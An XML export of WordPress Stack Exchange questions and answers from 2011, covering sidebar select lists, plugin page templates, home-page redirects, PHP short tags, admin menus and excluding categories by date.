  <row Id="13450" PostTypeId="1" AcceptedAnswerId="13453" CreationDate="2011-03-29T23:00:16.597" Score="4" ViewCount="169" Body="&lt;p&gt;I'm listing all sidebars like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_registered_sidebars;&#xA;&#xA;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($wp_registered_sidebars); &#xA;echo '&amp;lt;/pre&amp;gt;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm getting something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [sidebar-1] =&amp;gt; Array&#xA;        (&#xA;            [name] =&amp;gt; Sidebar #1&#xA;            [id] =&amp;gt; sidebar-1&#xA;            [description] =&amp;gt; Sidebar number 1&#xA;            [before_widget] =&amp;gt; &#xA;            [after_widget] =&amp;gt; &#xA;            [before_title] =&amp;gt; &#xA;            [after_title] =&amp;gt;&#xA;        )&#xA;&#xA; (...)&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'd love to display them as a select list, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;&#xA;  &amp;lt;option value =&quot;SIDEBAR-ID&quot;&amp;gt;SIDEBAR-NAME/option&amp;gt;&#xA;  &amp;lt;option value =&quot;SIDEBAR-ID&quot;&amp;gt;SIDEBAR-NAME/option&amp;gt;&#xA;(...)&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wordpress Codex isn't helpful at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-04-19T15:10:02.450" Title="List all sidebar names?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;sidebar&gt;&lt;register-sidebar&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="13451" PostTypeId="2" ParentId="13378" CreationDate="2011-03-29T23:21:03.623" Score="2" ViewCount="" Body="&lt;p&gt;The article linked is on the right track, but i'll make it more simple for you.. ;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'page_template', 'catch_plugin_template' );&#xA;&#xA;function catch_plugin_template( $template ) {&#xA;    if( 'tp-file.php' == basename( $template ) )&#xA;        $template = WP_PLUGIN_DIR . '/yourpluginname/tp-file.php';&#xA;    return $template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The filter basically looks to see if your special page template is set for the current page, if it is, updates the path to point at your plugins template instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just be sure the path is right, else you'll be seeing include errors... :)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Follow-up #1&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Ok first problem is that WordPress validates any template set as a page template, ie. it checks to see if the file is in the theme folder, and is a valid template file, if not it skips past it and includes a more generic template, like page.php ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this doesn't change the fact that the meta field still holds the value of your custom template, and also &lt;code&gt;is_page_template( 'tp-file.php' )&lt;/code&gt; will correctly return true if used in place of my previous conditional statement, eg..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Filter page template&#xA;add_filter('page_template', 'catch_plugin_template');&#xA;&#xA;// Page template filter callback&#xA;function catch_plugin_template($template) {&#xA;    // If tp-file.php is the set template&#xA;    if( is_page_template('tp-file.php') )&#xA;        // Update path(must be path, use WP_PLUGIN_DIR and not WP_PLUGIN_URL) &#xA;        $template = WP_PLUGIN_DIR . '/tp-test/tp-file.php';&#xA;    // Return&#xA;    return $template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; I've switched the code to use &lt;code&gt;WP_PLUGIN_DIR&lt;/code&gt; as the &lt;code&gt;WP_PLUGIN_URL&lt;/code&gt; constant is not suitable for &lt;strong&gt;paths&lt;/strong&gt;... (includes must use a path, not a URL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One issue, and this really isn't something you can fix, is that when viewing the page from the admin area, when editting the page, the template won't be listed as the active template, and saving changes could of course change the active template. There's much we can do there, the page template dropdown is generated from a function that scans theme files, there's no hooks in place that i can see that would allows us to extend the list with plugin templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally what i'd &lt;em&gt;suggest&lt;/em&gt;, as a work-around would be to save an additional meta field with every page that created using your special plugin page, then add a hook onto &lt;code&gt;save_post&lt;/code&gt; or &lt;code&gt;wp_insert_post_data&lt;/code&gt; and check if this meta field exists, if it does, also check the page template is set to &lt;code&gt;tp-file.php&lt;/code&gt;, and if not, update it to &lt;code&gt;tp-file.php&lt;/code&gt;. The additional meta field would just be a flag so to speak, to indicate which pages need to have your plugin template attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's your plugin working in it's most basic form(yes i tested)... :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;  Plugin Name: TP Test Plugin&#xA;  Plugin URI: &#xA;  Description: TP Test Plugin&#xA;  Version: 1.0.0&#xA;  Author: &#xA;  Author URI: &#xA;*/&#xA;&#xA;global $wp_version;&#xA;&#xA;if( version_compare( $wp_version, &quot;2.9&quot;, &quot;&amp;lt;&quot; ) )&#xA;    exit( 'This plugin requires WordPress 2.9 or newer. &amp;lt;a href=&quot;http://codex.wordpress.org/Upgrading_WordPress&quot;&amp;gt;Please update!&amp;lt;/a&amp;gt;' );&#xA;&#xA;// Add callback to admin menu&#xA;add_action('admin_menu', 'create_tp_menu');&#xA;&#xA;// Callback to add menu items&#xA;function create_tp_menu() {&#xA;    add_management_page('TP Test', 'TP Test', 'manage_options', 'tp-teste', 'wp_tp_test_fnc' );&#xA;}&#xA;&#xA;function wp_tp_test_fnc() {&#xA;&#xA;    //include('tp-form-file.php');&#xA;&#xA;    if( !empty( $_POST['tp_name'] ) ) {&#xA;        $tp_name = $_POST['tp_name'];&#xA;&#xA;        global $user_ID;&#xA;        $new_post = array(&#xA;            'post_title' =&amp;gt; $tp_name,&#xA;            'post_content' =&amp;gt; 'Some text',&#xA;            'post_status' =&amp;gt; 'publish',&#xA;            'post_date' =&amp;gt; date('Y-m-d H:i:s'),&#xA;            'post_author' =&amp;gt; $user_ID,&#xA;            'post_type' =&amp;gt; 'page',&#xA;        );&#xA;        $post_id = wp_insert_post($new_post);&#xA;&#xA;        if( !$post_id )&#xA;            wp_die('Error creating template page');&#xA;        else&#xA;            update_post_meta( $post_id, '_wp_page_template', 'tp-file.php' );&#xA;        /*&#xA;        $pt = get_page_templates();&#xA;&#xA;        $pt['TP file test'] = WP_PLUGIN_URL . '/tp-test/tp-file.php';&#xA;&#xA;        echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;        print_r($pt);&#xA;        echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;        */&#xA;    }   &#xA;    ?&amp;gt;&#xA;    &amp;lt;fieldset style=&quot;margin: 50px 100px;background-color: #cccccc;padding: 30px;border: 1px solid #ccc&quot;&amp;gt;&#xA;         &amp;lt;legend style=&quot;background-color: #ccccff;padding: 20px;font-weight: bold;font-size: 18px&quot;&amp;gt;Create Template Page&amp;lt;/legend&amp;gt;&#xA;         &amp;lt;form name=&quot;frm_main&quot; action=&quot;&quot; method=&quot;POSt&quot;&amp;gt;&#xA;              &amp;lt;input class=&quot;text&quot; type=&quot;text&quot; name=&quot;tp_name&quot; size=&quot;50&quot; /&amp;gt;&#xA;              &amp;lt;br /&amp;gt;&#xA;              &amp;lt;input class=&quot;button&quot; type=&quot;submit&quot; value=&quot;Create Template Page&quot; name=&quot;btn_submit&quot; /&amp;gt;&#xA;         &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;?php&#xA;&#xA;}&#xA;&#xA;&#xA;// Filter page template&#xA;add_filter('page_template', 'catch_plugin_template');&#xA;&#xA;// Page template filter callback&#xA;function catch_plugin_template($template) {&#xA;    // If tp-file.php is the set template&#xA;    if( is_page_template('tp-file.php') )&#xA;        // Update path(must be path, use WP_PLUGIN_DIR and not WP_PLUGIN_URL) &#xA;        $template = WP_PLUGIN_DIR . '/tp-test/tp-file.php';&#xA;    // Return&#xA;    return $template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps clear things up.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-30T09:54:29.990" LastActivityDate="2011-03-30T09:54:29.990" CommentCount="16" />
  <row Id="13452" PostTypeId="1" AcceptedAnswerId="13462" CreationDate="2011-03-29T23:25:29.353" Score="0" ViewCount="154" Body="&lt;p&gt;In my WP admin's &quot;Pages&quot; section is a page called &quot;Home&quot; with a URL of /home. This page's content gets called by my index.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is the /home page is coming up in search results, or someone could type in /home. Is it possible to redirect /home to index.php (or just &quot;/&quot;)? &lt;/p&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-03-30T02:32:51.270" Title="Redirect /home to home.php" Tags="&lt;redirect&gt;&lt;pages&gt;&lt;home&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13453" PostTypeId="2" ParentId="13450" CreationDate="2011-03-29T23:37:25.270" Score="6" ViewCount="" Body="&lt;h3&gt;Loop through the global:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;&#xA;&amp;lt;?php foreach ( $GLOBALS['wp_registered_sidebars'] as $sidebar ) { ?&amp;gt;&#xA;     &amp;lt;option value=&quot;&amp;lt;?php echo strtoupper( $sidebar['id'] ); ?&amp;gt;&quot;&amp;gt;&#xA;              &amp;lt;?php echo strtoupper( $sidebar['name'] ); ?&amp;gt;&#xA;     &amp;lt;/option&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;br&gt;&#xA;The &lt;code&gt;strtoupper()&lt;/code&gt; function is only there to display it exactly as you asked. Not sure if you really want that.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;How to access global arrays &amp; objects:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Anyway:&lt;/em&gt; Your Q mostly is about how to access arrays. I wrote a Q about that (for further explanation). &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13063/how-to-inspect-global-variables-in-wordpress&quot;&gt;Please take a look over here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-19T15:10:02.450" LastActivityDate="2011-04-19T15:10:02.450" />
  <row Id="13454" PostTypeId="2" ParentId="13442" CreationDate="2011-03-29T23:44:16.843" Score="1" ViewCount="" Body="&lt;h3&gt;Php Short tags are a &quot;no-no&quot;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You shouldn't use short php like this: &lt;code&gt;value=&quot;http://&amp;lt;?=$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];?&amp;gt;&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Where does it come from?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Different servers, different php.ini files. You simply ran into the problem that &lt;code&gt;short_open_tag = Off&lt;/code&gt; is set. Not all servers have this set to true per default. Further more not all hosts allow editing the php.ini file - for good reasons.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Check ini settings&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Try the follwing inside your code:&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;?php echo 'short open tag: ' . ini_get('short_open_tag'); ?&amp;gt;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Set ini settings&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you see that it's off you can try turning it on in your php.ini file using..&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;?php ini_set('short_open_tag', 'ON'); ?&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Alternatively (per t31os's suggestion)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If the login page is the first page on your site you request, there is no request URI to pass along, so naturally a redirect won't happen because there's no request URI to send you to.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-30T11:52:20.853" LastActivityDate="2011-03-30T11:52:20.853" CommentCount="3" />
  <row Id="13455" PostTypeId="2" ParentId="13450" CreationDate="2011-03-29T23:44:17.840" Score="5" ViewCount="" Body="&lt;p&gt;Write a function to create the list for you? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sidebar_selectbox( $name = '', $current_value = false ) {&#xA;    global $wp_registered_sidebars;&#xA;&#xA;    if( empty( $wp_registered_sidebars ) )&#xA;        return;&#xA;&#xA;    $name = ( empty( $name ) ) ? false : ' name=&quot;' . esc_attr( $name ) . '&quot;';&#xA;    $current = ( $current_value ) ? esc_attr( $current_value ) : false;     &#xA;    $selected = '';&#xA;    ?&amp;gt;&#xA;    &amp;lt;select&amp;lt;?php echo $name; ?&amp;gt;&amp;gt;&#xA;    &amp;lt;?php foreach( $wp_registered_sidebars as $sidebar ) : ?&amp;gt;&#xA;        &amp;lt;?php &#xA;        if( $current ) &#xA;            $selected = selected( $sidebar['id'] == $current, true, false ); ?&amp;gt; &#xA;        &amp;lt;option value=&quot;&amp;lt;?php echo $sidebar['id']; ?&amp;gt;&quot;&amp;lt;?php echo $selected; ?&amp;gt;&amp;gt;&amp;lt;?php echo $sidebar['name']; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just call it wherever you need to create a select list with the sidebars, optionally passing in a name, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sidebar_selectbox();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sidebar_selectbox( 'theme_sidebars' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally and optionally, pass in a currently selected value...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sidebar_selectbox( 'theme_sidebars', $var_holding_current );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-02T11:25:36.813" LastActivityDate="2011-04-02T11:25:36.813" />
  <row Id="13456" PostTypeId="2" ParentId="13445" CreationDate="2011-03-30T01:24:21.697" Score="0" ViewCount="" Body="&lt;p&gt;When I use the code you provided I see the &quot;MY! Settings&quot; menu item as the top item in the Settings menu and it has an unexpected URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The call to &lt;code&gt;add_options_page&lt;/code&gt; should be wrapped in a function hooked to the &lt;code&gt;admin_menu&lt;/code&gt; action.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_admin_menu() {&#xA;    add_options_page(&#xA;        'MY! Settings',&#xA;        'MY! Settings',&#xA;        'manage_options',&#xA;        'my-admin',&#xA;        'my_settings_admin'&#xA;    );&#xA;}&#xA;add_action( 'admin_menu', 'my_admin_menu' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In general, use &lt;code&gt;define( 'WP_DEBUG', true )&lt;/code&gt; in your &lt;code&gt;wp-config.php&lt;/code&gt; so you can see errors and warnings.&lt;/p&gt;&#xA;" OwnerUserId="498" LastActivityDate="2011-03-30T01:24:21.697" CommentCount="2" />
  <row Id="13457" PostTypeId="2" ParentId="10855" CreationDate="2011-03-30T02:13:56.770" Score="4" ViewCount="" Body="&lt;p&gt;This code is incorrect! You have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'taxonomy' =&amp;gt; 'post-format'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it really needs to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'taxonomy' =&amp;gt; 'post_format'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without the underscore, the query will be invalid. I just tested this on my WordPress 3.1 install after pulling my hair out for hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!!&lt;/p&gt;&#xA;" OwnerUserId="4307" LastActivityDate="2011-03-30T02:13:56.770" CommentCount="2" />
  <row Id="13458" PostTypeId="2" ParentId="13235" CreationDate="2011-03-30T02:14:30.373" Score="1" ViewCount="" Body="&lt;h2&gt;Instead of using include(TEMPLATEPATH use the built in WordPress API.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The WordPress API accommodates for using different headers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;       if (is_front_page() ) {&#xA;               get_header( 'front' );&#xA;&#xA;        } else {&#xA;               get_header();&#xA;       }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your custom header template should be named header-front.php and your default header should be named header.php&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-03-30T02:14:30.373" />
  <row Id="13459" PostTypeId="1" CreationDate="2011-03-30T02:18:30.650" Score="1" ViewCount="215" Body="&lt;p&gt;I am designing a website which will be used as a school PA system. Users will be posting entries into categories named for specific dates that correspond to school assemblies. We have two assemblies a week, which means my site will need a lot of categories. I only want users to see the categories which correspond to recent/upcoming assemblies. Since our homepage is simply a list of categories, and all our categories are named in mm/dd/yyyy format, I wrote the following script to only display recent and not-to-distant assemblies (categories).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;ul&amp;gt;';&#xA; $categories = get_categories($category_id);&#xA;&#xA; foreach ($categories as $cat) {&#xA;     $category_link = get_category_link($cat);&#xA;        if( strtotime($cat-&amp;gt;cat_name) &amp;lt; strtotime('-3 days')) { }&#xA;        elseif( strtotime($cat-&amp;gt;cat_name) &amp;gt; strtotime('+2 months')) { }&#xA;        else { echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' .$category_link. '&quot;&amp;gt;' . $cat-&amp;gt;cat_name . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;'; }&#xA; }&#xA;&#xA; echo '&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code runs on my site's homepage and works perfectly. The problem is, I also want to run a similar script on the category meta box in the Wordpress site admin, so our users can only post to upcoming assemblies. Originally I hoped to modify the wp_terms_checklist function to work similarly to our homepage but had no luck. Recently, I discovered MikeSchinkel's code &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8197/how-can-i-hide-a-category-from-contributors-in-the-edit-add-new-post-screen&quot;&gt;here&lt;/a&gt;. I think his method shows a lot of potential since it already has the capacity to exclude certain categories from the metabox. I have attempted to modify his code for my purposes but am having trouble combining the two scripts. Here's the closest I have been so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('list_terms_exclusions', 'yoursite_list_terms_exclusions', 10, 2);&#xA;function yoursite_list_terms_exclusions( $exclusions, $args) &#xA;{&#xA;    global $pagenow;&#xA;&#xA;    foreach (get_categories() as $category) &#xA;    { &#xA;        if( strtotime($category-&amp;gt;cat_name) &amp;lt; strtotime('-3 days')) &#xA;        {&#xA;            $category-&amp;gt;slug = $oldassemblies;&#xA;        }&#xA;        elseif( strtotime($category-&amp;gt;cat_name) &amp;gt; strtotime('+2 months')) &#xA;        {&#xA;            $category-&amp;gt;slug = $futureassemblies; &#xA;        }&#xA;     }&#xA;&#xA;    if (in_array( $pagenow, array('post.php','post-new.php') ) ) &#xA;    {&#xA;        $exclusions = &quot; {$exclusions} AND t.slug NOT IN ('$oldassemblies', '$futureassemblies')&quot; ;&#xA;    }&#xA;&#xA;    return $exclusions;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Theoretically, I feel like this code should work but the foreach statement and the get_categories() function disrupt both the front and back ends of my site. I have had success replacing the excluded category slugs with variables declared in the same function, but as soon as I try to associate these variables with my rules, the site errors. I am still learning PHP and have tried every possible variation of combination of the code that I could think of but am still having trouble. Please let me know if you have any suggestions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jonathan  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: the edits to a meta-box are part of a series of special functions I am creating for an admin theme. All of the functions are placed inside a giant if statement so they only affect users with contributor access, so my code will not be affecting site admins. &lt;/p&gt;&#xA;" OwnerUserId="4308" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-30T07:16:39.050" LastActivityDate="2011-03-30T16:15:14.890" Title="Automatically exclude categories from metabox based on title" Tags="&lt;categories&gt;&lt;wp-admin&gt;&lt;customization&gt;&lt;3.1&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="13460" PostTypeId="2" ParentId="12189" CreationDate="2011-03-30T02:26:11.830" Score="1" ViewCount="" Body="&lt;p&gt;The WordPress.com Stats API does not currently offer a post_type filter. You can implement one yourself in one of a number of ways. The basic idea is to loop over the &lt;code&gt;post_id&lt;/code&gt;s to figure out which ones have a &lt;code&gt;post_type&lt;/code&gt; of &lt;code&gt;post&lt;/code&gt;. In your loop you can use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = get_post($p['post_id']);&#xA;if ( !isset($post-&amp;gt;post_type) || $post-&amp;gt;post_type != 'post' )&#xA;    continue;&#xA;if ( has_post_thumbnail( $post-&amp;gt;ID ) )&#xA;    $thumbnail = get_the_post_thumbnail( $post-&amp;gt;ID );&#xA;else&#xA;    $thumbnail = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="498" LastActivityDate="2011-03-30T02:26:11.830" />
  <row Id="13461" PostTypeId="2" ParentId="12754" CreationDate="2011-03-30T02:31:01.537" Score="2" ViewCount="" Body="&lt;p&gt;Shortcodes run after the wptexturize function, so they shouldn't get processed by it anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wptexturize runs on the_content with priority 10. The do_shortcode function runs with priority 11.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-03-30T02:31:01.537" />
  <row Id="13462" PostTypeId="2" ParentId="13452" CreationDate="2011-03-30T02:32:51.270" Score="2" ViewCount="" Body="&lt;p&gt;Change your index.php file back to normal, then set that home page as the front page instead. Then the /home will redirect to / as it should.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-03-30T02:32:51.270" CommentCount="3" />
  <row Id="13463" PostTypeId="2" ParentId="13459" CreationDate="2011-03-30T02:47:12.207" Score="1" ViewCount="" Body="&lt;p&gt;You have chosen to tackle a hard problem for one so new to PHP. :-) This might get you closer to your goal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;if ( in_array( $pagenow, array('post.php', 'post-new.php') ) ) {&#xA;    foreach (get_categories() as $category) {&#xA;        $cat_time = strtotime($category-&amp;gt;cat_name);&#xA;        if ( $cat_time &amp;lt; strtotime('-3 days') || $cat_time &amp;gt; strtotime('+2 months') )&#xA;            $exclude .= $wpdb-&amp;gt;prepare( '%s,', $category-&amp;gt;slug );&#xA;    }&#xA;    $exclude = substr( $exclude, 0, -1 );&#xA;    $exclusions = &quot; ($exclusions) AND t.slug NOT IN ($exclude)&quot; ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="498" LastEditorUserId="498" LastEditorDisplayName="" LastEditDate="2011-03-30T16:15:14.890" LastActivityDate="2011-03-30T16:15:14.890" CommentCount="3" />
  <row Id="13464" PostTypeId="1" CreationDate="2011-03-30T04:26:47.687" Score="1" ViewCount="305" Body="&lt;p&gt;Okay guys, I have a problem. Tomorrow(today) I have a deadline but I'm stuck with a problem and it seems that I can't figure out how to do.&#xA;I have a custom post type, called articles. I've also created a taxonomy called subject. Each article has a subject, just like posts have categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to the problem. When I'm on the page-articles.php(page-slug.php), it has to check which subject the article has. How can I do that?! I've been surfin' the web for days without finding any solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm thinking is that in some way I have to check the taxonomy subject if it matches a criteria. Like:&#xA;if (is_term('news, 'subject'){&#xA;// do this&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I really can't figure out how it works! The is_term doesn't do that, and I can't find any other function either.&lt;/p&gt;&#xA;" OwnerUserId="4310" LastActivityDate="2011-03-30T11:02:52.313" Title="Check if post type has term" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="13465" PostTypeId="1" AcceptedAnswerId="13750" CreationDate="2011-03-30T04:34:29.120" Score="2" ViewCount="289" Body="&lt;p&gt;I randomly get high spikes in CPU and Memory. I have deactivated nearly all plugins trying to find the culprit. I have been turning on a few at a time then waiting 30 minutes to see how if the server says it is okay. Which it always does. I didn't touch it for 3 hours tonight and when I returned I realized that my VPS randomly spiked at around 8PM and 9PM. But from 6PM-8PM no issues and from 930PM-1230AM no problems. It says my issue is with index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This randomly started on the 26th. No new plugins, no script change, no difference at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I figure out what the issue is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More Info:&lt;/strong&gt;&lt;br&gt;&#xA;I have two wordpress installations on my VPS. One of which is my main site that me and about 3 other people write on and the other is kind of like a picture site where you submit pictures and I approve them and they get posted. I have about 330 people on that site. The subdomain (picture site) is the one I am having issues with. It is not the theme index file that is causing the problem but the WP index file. Between the two websites I get about 500k views a month (more on the main site than the picture site)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Server info:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disk Space: 100gb&lt;/li&gt;&#xA;&lt;li&gt;Memory: 2GB&lt;/li&gt;&#xA;&lt;li&gt;Burst: 2GB&lt;/li&gt;&#xA;&lt;li&gt;Bandwidth: 1.5tb&lt;/li&gt;&#xA;&lt;li&gt;OS: CentOS 5.5 with Cpanel&lt;/li&gt;&#xA;&lt;li&gt;IP: 2&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Proccessor info:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;8 proccessors&lt;/li&gt;&#xA;&lt;li&gt;GenuineIntel&lt;/li&gt;&#xA;&lt;li&gt;Intel Core i7 CPU 870 @29.93 GHz&lt;/li&gt;&#xA;&lt;li&gt;Speed: 2933.46 MHz&lt;/li&gt;&#xA;&lt;li&gt;Cache: 8192kb&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugins (Currently activated)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Advanced Random Posts,&lt;/li&gt;&#xA;&lt;li&gt;bbpress integration,&lt;/li&gt;&#xA;&lt;li&gt;Custom Post Templates,&lt;/li&gt;&#xA;&lt;li&gt;GD Custom Posts and Taxonomies Tools,&lt;/li&gt;&#xA;&lt;li&gt;GD Star Rating,&lt;/li&gt;&#xA;&lt;li&gt;Gravity Forms,&lt;/li&gt;&#xA;&lt;li&gt;Members,&lt;/li&gt;&#xA;&lt;li&gt;Ultimate Category Excluder,&lt;/li&gt;&#xA;&lt;li&gt;Wordpress.com Stats,&lt;/li&gt;&#xA;&lt;li&gt;WP-Paginate,&lt;/li&gt;&#xA;&lt;li&gt;WP-PostRatings,&lt;/li&gt;&#xA;&lt;li&gt;WP-PostViews,&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On that note, all of these and others were turned on and worked just fine. Then all of a sudden it went to heck. All plugins are updated and I have the most recent wordpress.&lt;/p&gt;&#xA;" OwnerUserId="4278" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-30T11:11:31.950" LastActivityDate="2011-04-02T01:49:35.463" Title="High CPU &amp; Memory Spikes?" Tags="&lt;memory&gt;&lt;server-load&gt;" AnswerCount="1" CommentCount="7" />
